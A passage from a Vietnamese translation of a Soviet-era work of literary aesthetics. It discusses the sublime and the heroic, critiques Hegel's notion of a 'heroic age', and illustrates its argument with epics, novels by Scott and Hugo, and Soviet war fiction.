Như vậy những nhu cầu phát triển xã hội dân tộc – vốn là cái bậc sau chót mà rút cục nó xác định giá trị của tất cả những biểu hiện gián tiếp khác nhau của mình trong đời sống công dân, tiếp theo là đời sống riêng lẻ, cá nhân của mọi người, cho dù những sự gián tiếp ấy nhiều tầng bậc đi nữa. Xuất phát từ những cấp bậc cao ấy, cuối cùng những thuộc tính đạo đức ấy của tính cách con người, những thái độ, hoạt động, xúc cảm (1) của chúng, chúng tôi đã cố gắng xác định ở trên bằng một từ “cái cao cả “.
Khái niệm “cái cao cả” đã tồn tại trong mỹ học trước Hêghen, nhưng ở ông nó đã nhận sự vận dụng rất quan trọng và nhiều ý nghĩa và sau đó đã trở thành tác phẩm lý luận về nghệ thuật nói chung. Nhưng nó đồng thời cũng trở thành đối tượng của các cuộc tranh luận.
Những cuộc tranh luận đó đã không tránh khỏi cách hiểu phiến diện cái cao cả ở Hêghen. Ông đã hiểu cái cao cả như sự không thể được đối với tư tưởng nghệ thuật tìm cho mình một “hình thức tồn tại bên ngoài” xác định và phù hợp với sự không tương ứng của tư tưởng với hình thức biểu hiện của mình. Sự xác định như vậy đã được ông nêu ra trong xem xét giai đoạn “tượng trưng” ban đầu của nghệ thuật. Nhưng khái niệm cái cao cả chưa được vận dụng đầy đủ sâu sắc, có tính nghệ thuật và biện minh ở Hêghen.
Hêghen đã có thể vận dụng khái niệm này với hiệu quả rất to lớn trog việc xác định đặc điểm – theo quan niệm của ông – các giai đoạn cuối cùng, thứ ba, “lãng mạn” của phát triển nghệ thuật nhân loại. Thực ra thì ông làm điều đó trong khi xác định bản chất của nghệ thuật lãng mạn như là “sự nâng cao tinh thần tới chân lý của nó từ tứ chi của sự sinh tồn tự nhiên của nó” (XIII, 91); như là “sự nâng cao tinh thần đối với bản thân” mà trong đó “bây giờ nó tìm thấy bên trong chính bản thân thái độ không thiên vị của mình, cái thái độ mà trước kia (trong thời kỳ “cổ điển” trung kỳ của phát triển nghệ thuật – G.P) nó đã phải tìm kiếm một cách uổng công trong phương diện cảm tính bề ngoài của sự sinh tồn (XIII, 88. Chúng tôi nhấn mạnh. G.P). Ở đây Hêghen không sử dụng chuyên biệt từ “cái cao cả”. Nhưng hình như không nghi ngờ gì nếu phán đoán theo sự diễn đạt của ông ta thì trong nghệ thuật “lãng mạn” và “tượng trưng” như trong những giai đoạn sơ khai và kết thúc của sự phát triển cuối cùng, theo quy luật của “tam đoạn thức” biện chứng, có một cái gì đó chung – một cái mà cả giai đoạn này thay giai đoạn khác, mặc dù hoàn toàn khác nhau, cái ý niệm “được đề cao” lên trên hình thức bởi vì chưa tìm được trong nó sự thể hiện phù hợp với bản thân.
Nhưng thế thì xuất hiện câu hỏi của Sécnưsepxki đã chú ý: cái cao cả xuất hiện từ đâu trong trường hợp này hay trường hợp khác? Phải chăng nó được tạo ra bởi chính ưu thế của ý niệm đối với hình thức này hay là nó luôn phụ thuộc vào chính ý niệm nhưng chỉ tự nhận thức và tự biểu hiện một cách mạnh nhất trong sự thể hiện không tương ứng của nó trong hình thức? Câu trả lời thứ hai, tất nhiên là có sức thuyết phục. Dĩ nhiên chính ý niệm, chính nội dung các tác phẩm nghệ thuật luôn cao quý. Tính chất cao thượng của nó đã tự biểu hiện theo cách của mình, tất nhiên, trong các tác phẩm của giai đoạn “cổ điển” trung kỳ của phát triển nghệ thuật, nhưng ở đây, trong sự phù hợp hoàn toàn của ý niệm và sự biểu hiện của nó trong hình thức cảm tính, cái sau cùng này hình như biểu hiện trong bản thân, hình như mang theo mình tính chất cao thượng của chính ý niệm.
Còn nếu điều đó như vậy thì nói chung vấn đề cái cao cả trong nghệ thuật cần phải giải quyết hoàn toàn ở một bình diện khác – không phải ở bình diện phù hợp của nội dung nghệ thuật và hình thức biểu hiện nó mà ở bình diện phù hợp của nội dung được phát triển của đời sống được phản ánh bằng nghệ thuật, bằng hình thức cụ thể lịch sử của chính cuộc sống, thể hiện sự phát triển ấy. Bởi vì những hình thức của đời sống lịch sử – dân tộc tìm được sự biểu hiện của mình trong sự hoạt động, trong những thái độ, xúc cảm của mọi người, có thể phù hợp và không phù hợp với nội dung tiến bộ của toàn thể dân tộc đang phát triển trong chúng của cuộc sống ấy. Cái nội dung tiến bộ đó của đời sống dân tộc luôn là cao cả và từ nội dung đấy những hình thức biểu hiện tích cực của nó, phù hợp với nó của đời sống xã hội dân tộc nhận được tính cao cả của mình.
Nhưng hầu như ở đây có thể thỏa mãn chỉ với khái niệm cái cao cả. Sécnưsepxki đã phần nào đúng khi nhận ra sự không đầy đủ của thuật ngữ này. “Cần phải nói thêm – ông viết – rằng thay cho thuật ngữ “cái cao cả” (das Erhabene) giá như nói “cái vĩ đại” (das Grosse) thì chắc chắn hơn, tốt hơn, đúng tính chất hơn. Iuli Xêda, Mari không phải là những tính cách “cao cả” mà là “vĩ đại”. Cái cao cả đạo đức chỉ là một loại riêng của cái vĩ đại nói chung”.
Nhận xét cuối cùng của Sécnưsepxki, theo quan điểm chúng tôi, là hoàn toàn đúng đắn. Cái cao cả – thực ra đó là một “loại riêng”, hoặc nói đúng hơn là một của những biểu hiện của cái vĩ đại, cái hùng tráng. Cả cái này lẫn cái kia tồn tại trong chính cuộc sống, và có thể trong khi phản ánh trong nghệ thuật, trong văn học nghệ thuật trở thành nền tảng của nhiệt hứng riêng của nó. Và tất cả những biến thể khác của sự khẳng định nồng nhiệt cuộc sống cách này hay cách khác bắt nguồn từ đó.
2
Những nhiệm vụ tiến bộ – toàn dân tộc quan trọng nhất xuất hiện trong đời sống xã hội, những mục đích mà mọi người thực hiện trong giải quyết những nhiệm vụ ấy, sự nghiệp mà họ phục vụ, những sự kiện xuất hiện trong đó đều vĩ đại. Nhưng chính sự hoạt động của những người riêng lẻ tham gia tích cực vào việc thực hiện những nhiệm vụ vĩ đại ấy, phục vụ “sự nghiệp” vĩ đại ấy – thì các hoạt động ấy có ý nghĩa anh hùng như thế này hay thế khác. Cái anh hùng được xuất hiện khi mà những lực lượng hành động chung “cơ bản và quan trọng nhất – sự bảo vệ độc lập và tự do của xã hội dân tộc, cuộc đấu tranh huỷ bỏ những hình thức văn hóa, chính trị, xã hội lỗi thời về mặt lịch sử, cũ kỹ của cuộc sống dân tộc, cuộc đấu tranh thi hành những hình thức tiến bộ, mới của nó – hiện ra như là bản chất của tính cách người, trở thành “những sức mạnh tinh thần” của cá nhân con người riêng lẻ và biểu hiện một cách độc lập, tự do, chủ động trong hoạt động của mình, khi mà cái chung thể hiện và thực thi bằng hành động của một nhân vật riêng lẻ, rọi sáng chúng bằng cái vĩ đại của mình.
Trong “Mỹ học” của Hêghen nêu ra một cách hiểu rất hẹp của các khả năng cái anh hùng trong lịch sử nhân loại. Ông khẳng định rằng hành động anh hùng là bản tính chỉ của những người sống trong “thế kỷ những anh hùng”. Dưới “thế kỷ” đó, ông muốn đề cập đến giai đoạn cuối cùng của sự phát triển xã hội thị tộc và giai đoạn đầu của phát triển xã hội có giai cấp, trong đó hệ thống nhà nước và sự hợp thức hóa của nó còn chưa đạt được sự phát triển to lớn và chưa hạn chế tự do hoạt động cá nhân.
Khi mà hệ thống nhà nước đã đạt đến độ phát triển to lớn thì sự hoạt động có tính anh hùng của mọi người, theo Hêghen, trở nên không thể được – bởi hai nguyên nhân. Một mặt bởi vì “những cá thể riêng lẻ” trong quốc gia “tất yếu phải tiếp giáp với trật tự vững chắc đã định và phụ thuộc vào nó” cho nên tất cả “những đặc điểm riêng của hình tượng tư tưởng, của ý kiến và tình cảm chủ quan cần phải phụ thuộc vào sự điều chỉnh của quy luật” của chúng. Thậm chí trong trường hợp “sự thừa nhận có tính tự do… của lý trí hiện hữu” thì những cá nhân riêng lẻ “bên ngoài hoạt động của nhà nước cũng không có tính chất thực thể nào bên trong chính bản thân” (XII, 186).
Một mặt khác, hoạt động anh hùng của cá nhân trong quốc gia phát triển không thể thực hiện được, theo ý kiến của Hêghen, vì sự phân chia lao động xã hội và vì “mỗi một cá thể nhận một trách nhiệm hoàn toàn xác định và luôn bị hạn chế trong công việc của toàn thể” “cho nên quốc gia trong toàn bộ không phải là hành động cụ thể của một cá thể riêng lẻ và nói chung không có thể là người đại diện cho sự độc đoán, sức mạnh, lòng dũng cảm, sự hùng hậu, sức hiểu biết dù của bất kỳ một cá nhân riêng lẻ nào”; “những công việc nhiều vô kể” được giao phó cho “biết bao đám đông các cá nhân không kể xiết” (XII, 187).
Trong đời sống xã hội của “thế kỷ các anh hùng”, ngược lại “sự thừa nhận và sức mạnh của nhân phẩm chỉ duy nhất dựa vào các cá nhân, được hình thành theo ý chí riêng biệt của mình và nhờ sức mạnh và uy tín xuất chúng của tính cách đứng đầu thực tại ấy của chúng trong những giới hạn mà chúng đang sống” (XII, 188).
Trong những lập luận ấy của mình Hêghen chỉ đúng trong một quan hệ. Hành động anh hùng thực ra có thể được thực hiện trong sự biểu hiện cụ thể của mình chỉ trên cơ sở của tinh thần chủ động tự do cá nhân.
Vì thế cho nên cái thế kỷ các anh hùng được gọi đó thực ra là một giai đoạn lịch sử phát triển của các xã hội dân tộc khác nhau trong đó hành động anh hùng trong đời sống thực tế đã được thực hiện dễ dàng, đặc biệt tự do và rộng rãi và đã tìm được sự thể hiện của mình trong ngôn ngữ nghệ thuật nhiều dân tộc. Những hành vi anh hùng của Hêrakl và Têdê trong các truyền thuyết cổ Hy Lạp, các chiến công của các anh hùng Aten và Troa dưới chân thành Troa trong “Iliát” hoặc trận đánh Beôvunpha với Grenđan và con rồng trong anh hùng ca Đức cổ xưa – là những hình mẫu sớm nhất ở địa hạt châu Âu.
Nhưng với sự xuất hiện của chế độ nhà nước, khả năng các hành động anh hùng của cá nhân, ngược lại với ý kiến của Hêghen, đã không giảm thiểu mà chỉ thay đổi tính cách của mình. Những hành động như vậy, thực sự, bề ngoài đã dần dần trở thành những điều tiền định cho trước gò bó, ít chủ động và tự do. Vì vậy chúng trở thành khó khăn hơn bề ngoài nhưng bên trong thì tự giác hơn và có trách nhiệm đạo đức. Chúng đã thấm nhuần nhiều hơn tinh thần nghĩa vụ xã hội và tinh thần danh dự, phản ánh trong mình cái vĩ đại của nhiệm vụ được giao.
Chẳng hạn, trong “Bài ca Rôlăng” trong khi chiến đấu với kẻ thù ở khe núi Pônxevanxki, bá tước Rôlăng xuất kích như một chư hầu của vua Karl vĩ đại, người đã giao cho anh ta yểm trợ cuộc rút lui của đội quân Phrăngk. Nhưng đối với Rôlăng điều đó không phải là một mệnh lệnh hình thức mà chàng cần tuân theo bề ngoài. Đối với chàng đó là một nhiệm vụ vẻ vang thể hiện lợi ích của toàn thể “nước Pháp yêu quý”. Đó là nghĩa vụ của chàng tự do nhận lấy vào mình, chàng sẵn sàng tự do hiến dâng tất cả sức lực của mình cho việc hoàn thành nghĩa vụ ấy, đó là sự nghiệp anh hùng riêng của chàng, vì nó mà chàng không ngại hy sinh.
Tinh thần dũng cảm của Rôlăng trong ý nghĩa này cao hơn cả lòng dũng cảm của Asin trong “Iliát”. Trong nó không có sự độc đoán vốn là đặc tính hành động của các nhân vật Hômerơ mà mỗi một trong số chúng tự hành động vì mình. Nhưng trong đó đã có những mầm mống của sự cần thiết nhận thức tự do của sự nghiệp chung nào đó mà mỗi cá nhân riêng lẻ đang tận tụy cho nó.
Trong những trình độ cao nhất của xã hội nhà nước tập quyền thì nguyên tắc đó của sự cần thiết nhận thức tự do giải quyết các nhiệm vụ toàn dân tộc có thể được biểu hiện với sức mạnh lớn lao hơn mà nhiệm vụ cá nhân riêng lẻ đảm nhiệm càng quan trọng, cao cả bao nhiêu, có ý nghĩa tiến bộ bao nhiêu và những nhiệm vụ chung của phát triển xã hội có liên hệ với nhiệm vụ riêng ấy bao nhiêu thì càng có sức mạnh lớn hơn bấy nhiêu.
Chẳng hạn như cuộc đấu tranh của quốc vương Pháp Liuđôvich XI chống lại công tước Karl Xmelưi và những chúa phong kiến lớn khác được mô tả trong tiểu thuyết “Kventin Đorvard) của V.Xcốt. Hầu như có được chính quyền chuyên chế, trong suốt hơn 25 năm trị vì Liuđôvich hoàn toàn chủ động và tự do hiến dâng toàn bộ ý chí, trí thông minh, tài ngoại giao của mình cho việc thực thi sự nghiệp vĩ đại toàn dân tộc – cho sự thống nhất chính trị nước Pháp cho sự phát triển công nghiệp và thương nghiệp của nó. Tất cả điều đó là phương diện anh hùng của hoạt động xã hội của ông ta. Quả thật là đồng thời nó thường viện đến sự khôn khéo và tàn bạo nhưng nó biểu lộ chúng không phải trong những quyền lợi riêng của mình bởi vì cái còn lại cuối cùng hoàn toàn hòa trộn với những quyền lợi quốc gia và bằng những thủ đoạn khác nó đã không thể chiến thắng những địch thủ mạnh và đông đảo của mình – những kẻ gây ra tổn thất cho những quyền lợi ấy.
Như vậy sự phụ thuộc của cá nhân vào “trật tự vĩnh hằng” đang tồn tại bắt nguồn từ sự thừa nhận bên trong riêng tư sự “khôn ngoan” của nó, dù chỉ tương đối, tuyệt nhiên không tước bỏ cái cá tính của “thực thể” của nó như Hêghen đã hình dung điều đó. Ngược lại, sự phụ thuộc có tính tự do vào những nhiệm vụ hoạt động “siêu cá thể” nay hay khác, dựa trên sự nhận thức cái tiến bộ của cá nhân, đề cao chúng và bằng cách đó củng cố trong cá nhân “cái thực thể” của nó, bổ sung thêm cảm hứng anh hùng cho hành động của nó.
Mặt khác, Hêghen đã giả định một cách vô ích rằng hình như những quyền lợi của quốc gia không thể biểu hiện “bằng hành động cụ thể của một cá nhân”, rằng quốc gia nói chung “không có thể được uỷ thác cho sự chuyên quyền, sức mạnh, sự dũng cảm can trường… của một cá nhân riêng lẻ”. Ngược lại trong lịch sử các xã hội dân tộc khác nhau thường xảy ra trường hợp một cá nhân riêng lẻ không chỉ trên danh nghĩa đứng đầu về mặt luật pháp và là chính quyền quốc gia, trong khi dựa vào sức mạnh thực thể của mình chủ động và tự do đặt ra trước xã hội những nhiệm vụ vĩ đại tiến bộ chúng toàn dân tộc, tác động tích cực giải quyết chúng và bằng cách đó thực hiện hoạt động anh hùng.
Điều đó có thể là nhiệm vụ bảo vệ tự do dân tộc và sự độc lập của xã hội khỏi những kẻ thù bên ngoài xâm phạm chúng. Minh chứng cho điều đó chẳng hạn như các công tước, quân vương, hoàng đế đã đứng đầu các đoàn quân bảo vệ biên giới quốc gia khỏi sự xâm lăng từ bên ngoài và đã tiến hành những cuộc chiến tranh chính nghĩa rất nhiều trong lịch sử thế giới. Chẳng hạn như Piốt vĩ đại trong trận Pôntava với tính chất thực lịch sử được Puskin ca ngợi trong trường ca của mình, mặc dù được miêu tả một phần lớn mang “tính định chuẩn” xuất phát từ lòng mong muốn mô tả Piốt là người chiến thắng khi nó còn gian khó mới đạt được thắng lợi.
Nhưng những cuộc chiến tranh chính nghĩa, tất nhiên đó là những cuộc chiến tự vệ. Ở đây rõ ràng cần phải tán thành với Hêghen – người viết về “sự biện minh có tính lịch sử toàn thế giới, nhờ nó mà một dân tộc vùng lên chống lại kẻ khác”. “Chỉ trong những điều đó – nhà triết học nhận xét – trước chúng bày ra bức tranh của một ý đồ mới, cao cả hơn, nó không thể cảm thấy sự chuyên quyền nô dịch nhưng tự mình hoàn toàn trải qua lập luận của tính tất yếu cao cả hơn đã có thể dù cho nguyên cớ bên ngoài gần gũi nhất, một mặt có đặc điểm của sự xúc phạm cá nhân, mặt khác – cần quét sạch đi” (XIV, 246). Trong khi tiếp tục nhắc đến cuộc đấu tranh của người anh hùng dân tộc Tây Ban Nha Xiđa chống lại quân Môrơ, của những người theo đạo Kytô chống lại quân Xaraxin ở Taxxô và Ariôxtô, của những người Bồ Đào Nha chống lại những người Ấn Độ ở Kamôenxa, Hêghen xem tất cả là “thắng lợi của nguyên tắc cao cả đối với cái thấp hèn từ quan điểm lịch sử toàn thế giới” (XIV, 246).
Từ quan điểm chung này thì tinh thần dũng cảm của vua Henrich V nước Anh trong trận đánh gần Adenkuarơ miêu tả trong “ký sự” của Sếchxpia, được hỗ trợ cảm xúc của tác giả, không có sự biện minh lịch sử bởi vì sự tấn công của quân Anh vào quân Pháp được củng cố chỉ bằng những lý lẽ luật pháp rỗng tuếch, đã đem đến chỉ những tổn thất nặng nề đối với cả hai dân tộc vĩ đại, đã không có và không thể có một kết quả lịch sử chung tích cực, khách quan nào. Trong tư tưởng của ký sự ấy của Sếchxpia không có tính chân thực lịch sử của sự khẳng định mang tính cách anh hùng. Ngược lại cuộc xâm chiếm của quân Nga vào nước Kadan – thành trì cuối cùng của quyền bá chủ của quân Tácta thuở xưa, do Ivan IV đứng đầu, về sau được Kheravkov ca ngợi trong anh hùng ca “Rốtxiađ” với trình độ cao của “tính định chuẩn” cổ điển đã có ý nghĩa tích cực trong bình diện lịch sử toàn thế giới.
Ngoài ra, khi phản đối Hêghen, cần nhớ rằng trong lịch sử các dân tộc riêng lẻ, trong cuộc di cư phức tạp của sự hình thành dân tộc của chúng đôi khi diễn ra gần như sự quay trở lại thời kỳ “thế kỷ anh hùng”. Điều đó thường xảy ra khi chính quyền quốc gia cũ bị yếu đi hoặc hoàn toàn mất ý nghĩa dân tộc của mình còn chính quyền mới chưa xuất hiện, khi sự lo ngại về nền độc lập của tổ quốc đặt ra cho các lực lượng dân tộc này hay khác nhưng chúng chưa tổ chức nhà nước.
Ví dụ như ở Ucarain khoảng thế kỷ XVI – XVII khi cần phải vũ trang chống lại cuộc tấn công từ phía nhà nước giáo hội Ba Lan và cuộc tập kích của quân Tácta Crimê đã tạo ra giữa những người Ucrain, theo lời Gôgôn, “những tính cách sắt thép”. Chính những người ấy là cơ sở của tổ chức quân đội dân tộc tự do Xêtr, mà nó gần như là sự lặp lại muộn màng của nền dân chủ quân sự. Không phải ngẫu nhiên mà Rưlêep và Gôgôn đã chọn những tính cách và hoàn cảnh anh hùng từ thời đại ấy cho các tác phẩm của mình. Chúng ta nhớ, ví dụ, những cuộc tuyển chọn tự do tất cả đội quân “Xêtr” của trại mới mà nó đã dẫn đoàn quân theo nguyện vọng chung bao vây pháo đài Ba Lan.
Trong quan hệ này, Hêghen đã không đúng. Ông xem quốc gia như một lĩnh vực duy nhất của hoạt động dân sự của xã hội trong tất cả các trình độ phát triển lịch sử của nó mà khi đối với nó “thế kỷ anh hùng” đầu tiên đã từ lâu đi vào quá khứ.
Nhưng sự hoạt động của quốc gia có thể có ý nghĩa khác nhau thậm chí trực tiếp đối lập với xã hội dân tộc. Trong xã hội phân chia các giai cấp đối lập, nó có thể thúc đẩy phát triển tính dân tộc và trong những thời kỳ nhất định thậm chí dẫn đầu sự phát triển của nó. Nhưng nó có thể trở thành lực lượng phản động đè nén những tầng lớp tiến bộ xã hội, ngăn cản sự vận động của nó tiến tới những hình thức đời sống tiến bộ hơn. Khi đó xuất hiện tính tất yếu lịch sử của hoạt động chống đối nhà nước của các giai cấp xã hội và phong trào xã hội tiến bộ chủ yếu là các lực lượng dân chủ hoặc là dựa vào các lực lượng dân chủ. Khi đó hoạt động này có được sự vĩ đại lịch sử – dân tộc, trở thành “lực lượng hành động chung” thúc đẩy tâm hồn những người tham gia vào những phong trào đó và đánh thức nhiệt hứng anh hùng các hành động, thái độ, tư tưởng và cảm xúc của họ.
Vì rằng chính quyền nhà nước già cỗi say mê cái vĩ đại của mình, mặc dù sự lấp lánh của nó đã trở thành hư ảo, với những đặc quyền đã mất hết nội dung trong khi dựa vào lực lượng vũ trang của mình không bao giờ tự nguyện ra đi nên sự lấp lánh ấy đòi hỏi những hành động cách mạng. Chúng tất phải có một sự chuẩn bị tư tưởng to lớn nhiều hoặc ít và cả một trình độ nhất định của tổ chức bên trong của mình và sự đoàn kết của các lực lượng tham gia vào đó.
Tuy nhiên cá nhân riêng lẻ trong hoạt động cách mạng của mình có tự do lớn hơn, tinh thần chủ động hơn trong lựa chọn những hành động này hay hành động khác so với trong trường hợp sự tham gia của nó vào các hoạt động quân sự được tổ chức bởi chính quyền nhà nước phát triển với sự quy định nghiêm khắc của nó. Nhưng đồng thời sự tham gia tích cực vào các sự kiẹn cách mạng giải phóng xã hội, mở ra cho nó những viễn cảnh rộng lớn của sự phát triển lịch sử và vì vậy mà nhận thức được dưới ánh sáng của những lý tưởng công dân rất có ý nghĩa và cao cả, làm thức tỉnh trong ý thức cá nhân cái tình cảm còn mạnh mẽ hơn của nghĩa vụ công dân nhận vào mình một cách tự do và cái trách nhiệm đạo đức cho việc thực hiện sự nghiệp chung, làm trỗi dậy sự xúc động sâu sắc hơn nữa của sự vĩ đại của nó. Cái anh hùng của hoạt động cách mạng trong quan hệ này có thể vượt qua cái anh hùng của cuộc đấu tranh vì độc lập dân tộc. Nó có thể trở nên gần gũi hơn cả với lý tưởng anh hùng kiểu Hêghen.
Cái anh hùng như vậy thường đã xuất hiện trong quá trình các cuộc cách mạng tư sản nhằm chống lại pháp chế phong kiến lỗi thời và thiết lập chế độ tư bản tiến bộ ở những giai đoạn đầu của sự phát triển của mình. Về cơ bản các tầng lớp dân chủ bên dưới xã hội nhưng đồng thời cả những người riêng lẻ xuất thân từ các tầng lớp thống trị của nền pháp chế cũ, đã nhận thức được bản chất phản dân tộc của nó, được cổ vũ bởi những lý tưởng tự do và tiến bộ là lực lượng giai cấp thực tế thực hiện các hành động anh hùng trong những cuộc cách mạng ấy.
Cuộc cách mạng Pháp vĩ đại làm rung chuyển tận gốc toàn bộ thế giới phong kiến già cỗi đã có ý nghĩa lớn hơn cả trong các cuộc cách mạng đó. Những tính cách và sự kiện anh hùng của nó đã được phản ánh trong nhiều tác phẩm văn học nghệ thuật, ví dụ trong tiểu thuyết “Năm chín mươi ba” của V.Huygô. Tác giả miêu tả trong đó Paris cách mạng, Kanvanh, cuộc hội nghị đơn độc của những nhà hoạt động trọng yếu nhất của phía Giakôbanh – Rôbécpier, Đăngtông, Marat. Tuyến cơ bản của cốt truyện được nhà văn tạo dựng là cuộc đấu tranh của những đội ngũ công nhân ngay từ Vanđê nông dân nổi lên chống cách mạng, còn những nhân vật chính của các tướng lĩnh hai trận tuyến đấu tranh ấy – cách mạng và phản cách mạng – là chiến sĩ cộng hòa Gôven chỉ huy đội quân Kanvanh, phái đến cho nó uỷ viên của Uỷ viên cứu nguy xã hội Ximuađen và thủ lĩnh của những người khởi nghĩa Vanđê, nhà quý tộc địa phương, hầu tước Đờ Lantenak – người thèm muốn sự can thiệp của người Anh.
Huygô, trong khi xuất phát từ một tư tưởng hoàn toàn chân thật rằng sự vĩ đại của cách mạng được thực hiện vì lợi ích của xã hội trong sự phát triển tiếp theo của nó không cần thiết làm hoen ố bằng những sự nghiêm khắc và tội ác không bắt buộc, nhưng hiểu rằng tư tưởng đó có tính đạo đức trừu tượng và xuất phát từ đó mà làm rối thêm mâu thuẫn bằng những sự kiện dẫn nó đến kết cục định chuẩn. Trong cuốn tiểu thuyết, khi Lantenak đã chiến thắng và tóm được đội cách mạng, Gôven hoàn toàn trung thành với sự nghiệp vĩ đại của mình, đã thấy “dưới cái tuyệt đối cách mạng” là “cái tuyệt đối nhân đạo cao cả”. Khi hiểu rõ ràng Lantenak lại phát động Vanđê khởi nghĩa, Gôven đã trả tự do cho hắn chỉ vì hắn đứng trước sự thất bại của mình vẫn liều thân cứu sống đứa trẻ nông dân – rõ ràng là vì “cái tuyệt đối nhân đạo cao cả” bỗng nhiên thức dậy trong tâm hồn hắn. Và lúc đó Ximuađen nghiêm khắc kết án tử hình Gôven – người con nuôi yêu quý của mình trước đây.
Không kể cái kết thúc có tính khuynh hướng và những cuộc tranh cãi chuẩn bị cho sự kết thúc ấy của Ximuađen và Gôven thì cả hai, đặc biệt là Gôven và tất cả đội cách mạng của anh mà nhiều hơn cả là tiểu đoàn Mũ đỏ do Rađúp đứng đầu, biểu hiện trong cuộc đấu tranh vũ trang với bọn phản cách mạng lòng thù địch sâu sắc với tất cả những nhà hoạt động của nó, lòng tin tưởng vững vàng vào những lý tưởng cách mạng của mình, vào thắng lợi của sự nghiệp tiến bộ toàn dân tộc của mình và được bắt nguồn từ đó là sự gan dạ chiến đấu đặc biệt, lòng dũng cảm và tính bền vững đạo đức. Tất cả họ là những anh hùng chân chính của cuộc cách mạng vĩ đại mà cách mạng mang ơn rất nhiều trong tất cả những thất bại và không thành công sau này của mình.
Các nhà hoạt động của cách mạng xã hội chủ nghĩa Tháng Mười vĩ đại đã biểu hiện sức mạnh anh hùng cách mạng triệt để còn lớn hơn của các tính cách và hành động được phản ánh không ít trong các tác phẩm văn học.
Ví dụ như D.Phuốcmanov trong truyện anh hùng “Nổi loạn” của mình đã miêu tả hoạt động hoàn toàn tự do và đặc biệt chủ động của một đội nhỏ những người cộng sản trong hoàn cảnh cực kỳ nguy hiểm, phức tạp căng thẳng xuất hiện trong quá trình tổ chức chính quyền Xô Viết ở Xêmirêtr năm 1920. Truyện vừa này phần lớn là bức đồ họa sự kiện thực tế và không phải toàn bộ đều có giá trị nghệ thuật. Tuy nhiên nó tái hiện tốt hoàn cảnh anh hùng độc đáo. Đội quân bạch vệ vừa mới bị đánh tan và chạy sang Trung Quốc thì lại xuất hiện sự thù địch dân tộc nặng nề của bọn Kulăc Nga ở nông thôn và của các làng bản Kiêcghidi, các đội du kích bấp bênh về chính trị đã phải chạy quanh. Dân chúng địa phương và ngay cả một bộ phận quân đội đã bất mãn sâu sắc với cái “hạt nhân” cộng sản được phái tới từ Tasken xa xôi đang ra sức tổ chức chính quyền vững chắc và tiếp tế cho các thành phố thông qua chế độ trưng thu lương thực thừa. Cuộc nổi loạn đã chín muồi và chỉ sự tự kìm chế cực kỳ lớn lao, sự thận trọng hành động và kiên trì đạo đức, tinh thần trách nhiệm của một nhóm nhỏ đảng viên không thừa nhận những người chỉ huy nhưng biết hành động đoàn kết nhất trí đã có thể cứu vãn tình thế đưa đến cứu viện.
Những người tham gia cuộc chiến tranh vệ quốc chống phát xít Đức, đặc biệt là những người lính và chỉ huy quân đội Xô Viết trong thời kỳ bắt đầu những thất bại và tổn thất quân sự nặng nề và trong thời kỳ chiến thắng quân thù của mình đã hoàn thành không ít các chiến công anh hùng. Và những chiến công ấy đã tìm được không ít sự phản ánh nghệ thuật của mình.
Chẳng hạn như chiến công của đại tá Xerpilin trong tiểu thuyết anh hùng ca “Những người sống và những người chết” của K. Ximônốp. Trong những điều kiện cực kỳ nặng nề bị bao vây, một bộ phận lớn quân đội bị vây hãm đã gợi lên trong ý thức nhiều binh lính và chỉ huy sự rã rời, bất hòa và không hoạt động. Xerpilin đã tìm thấy trong mình lòng dũng cảm công dân vĩ đại nhất có thể đoàn kết quanh mình những con người thất vọng, rời rạc trấn áp những kẻ hèn nhát, những tên gieo rắc hoang mang và dẫn cả đội quân lớn vượt vòng vây, nhanh chóng tham gia tích cực vào trận chiến tiếp tục vào quân thù hung ác và xảo quyệt.
Đấy là những hoàn cảnh chủ yếu mà trong đó có thể thực thi hoạt động anh hùng và hình thành những tính cách anh hùng.
Tất cả điều đó trong lập luận của chúng tôi đã liên quan tới mọi người trong chính đời sống thực tế và tới các nhân vật tác phẩm văn học thể hiện những tính cách xã hội của những con người ấy. Câu chuyện đã nói về cảm hứng anh hùng của hoạt động được miêu tả trong các tác phẩm và từ đó nói tới cảm hứng chân thực của chính những tác phẩm gợi lên bởi hoạt động ấy.
Nhưng vẫn thường xảy ra là sự khẳng định tư tưởng đời sống bắt nguồn từ lý tưởng nghệ sĩ không phù hợp với những đặc điểm khách quan và ý nghĩa của những tính cách được miêu tả và hóa ra có tính khuynh hướng. Thật ra thì không thể nào nhận thức tính anh hùng, đánh giá có tính cảm xúc và mô tả những tính cách mà chính chúng trong bản chất xã hội của mình không chứa đựng một chút gì của cái anh hùng chân chính. Sự đánh giá và hiểu biết như vậy đã là tư tưởng lệch lạc của tác phẩm, là sự tô vẽ đời sống có khuynh hướng mà chính nó đã bộc kộ tính chất không xác đáng nghệ thuật, tính “dung tục” của mình. Sự tô vẽ giống như vậy có thể tìm thấy trong một số tiểu thuyết Nga “thủ cựu” những năm 70 – 80 thế kỷ XIX do các nhà văn phản động viết và họ đã ra sức mạo nhận những tên địa chủ chủ nô chống cuộc nổi dậy của “chủ nghĩa hư vô” là anh hùng dân tộc. Trong những trường hợp khác, việc mô tả như vậy thường là thủ pháp khám phá và tăng cường tính chất khôi hài của các tính cách đã biểu hiện chỉ mỗi cái tham vọng rỗng tuếch về chất anh hùng của các hành động của mình như là điều đó đã có trong các trường ca được gọi là hài kịch mỉa mai.
Các nhà văn tạo ra những tác phẩm anh hùng theo khuynh hướng tư tưởng cảm xúc chân thật của mình luôn khai thác cảm hứng của mình trong cái anh hùng của chính những hành động, sự kiện, quan hệ, xúc động được miêu tả. Và trong khi tái hiện những tính cách người chính trong phương diện đó của những hoạt động của chúng, các nhà văn, trong sự phù hợp với những quy luật chung của sáng tạo nghệ thuật, đã dọn sạch phương diện đó của chúng khỏi tất cả những cái thứ yếu của nó, khỏi tất cả cái ngẫu nhiên và ngoại lai, tập trung vào nó sự mô tả của mình, nhấn mạnh và phát triển nó trong các cốt truyện những tác phẩm của mình. Đồng thời trong tất cả các chi tiết của tính tạo hình trực quan của mình và thường là trong chính cấu trúc ngôn từ nghệ thuật của mình, thi ca hoặc văn xuôi, trong khi thường vận dụng trong tất cả điều đó những thủ pháp ngoa dụ, các nhà văn biểu lộ sự khẳng định tư tưởng – cảm xúc của mình của tính cách trong phương diện anh hùng của đời sống và hoạt động của chúng. Và những người đọc, người nghe, người xem những tác phẩm ấy nhận biết, xúc cảm, cùng nếm trải không chỉ cái anh hùng của các hành động và xúc cảm của các nhân vật mà đồng thời cả cái cảm hứng anh hùng của chính sự trần thuật có tính sử thi, sự trình diễn mang tính kịch hay suy tư trữ tình.
